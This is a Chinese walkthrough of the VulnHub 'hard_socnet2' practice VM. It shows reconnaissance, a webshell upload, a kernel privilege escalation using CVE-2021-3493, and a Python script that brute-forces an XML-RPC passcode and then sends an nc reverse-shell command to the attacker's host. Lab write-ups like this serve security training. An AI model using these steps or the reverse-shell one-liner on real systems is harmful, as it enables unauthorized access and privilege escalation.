靶场下载地址:
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
信息搜集
一、Nmap进行扫描
nmap -sP 192.168.128.0/24 #对自己的靶机网段进行存活探测,获取靶机地址
nmap -T4 -A -p- 192.168.128.128 #对目标进行全端口扫描
二、WEB服务探测
通过探测发现目标开启了22、80、8000端口
访问80端口发现页面可以注册
通过页面信息查看,admin在服务器上运行了一个monitor.py脚本
三、获取shell
通过页面发现存在文件上传
上传webshell,获取到上传地址:
http://192.168.128.128/data/images/posts/10.php
使用冰蝎成功连接webshll
四、内核漏洞权限提升
uname -a
lsb_release -a
使用Ubuntu内核漏洞CVE-2021-3493进行提权
下载地址:https://github.com/briskets/CVE-2021-3493
gcc -o exp exploit.c
chmod +x exp
./exp
五、monitor脚本权限提升
通过对monitor.py文件进行代码审计,发现该文件使用了SimpleXMLRPCServer模块,且还调用了大量的系统命令,其中在secure_cmd函数中,一但客户端猜对了passcode参数,便可以执行任意的操作系统指令。而这个passcode是1000-9999的一个随机数,所以我们可以暴力破解这个随机数从而达到提权的目的
构造py脚本调用monitor.py
------------------------------------------------------------
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.128.128:8000/") as proxy:
random = 0
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.128.133 4321 >/tmp/f"
for p in range(1000,10000):
r = str(proxy.secure_cmd('id',p))
if not "Wrong" in r:
random = p
break
r = str(proxy.secure_cmd(cmd,random))
print(r)
------------------------------------------------------------
运行成功后成功获取socnet用户权限
原文始发于微信公众号(渗透笔记):hard_socnet2靶场实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论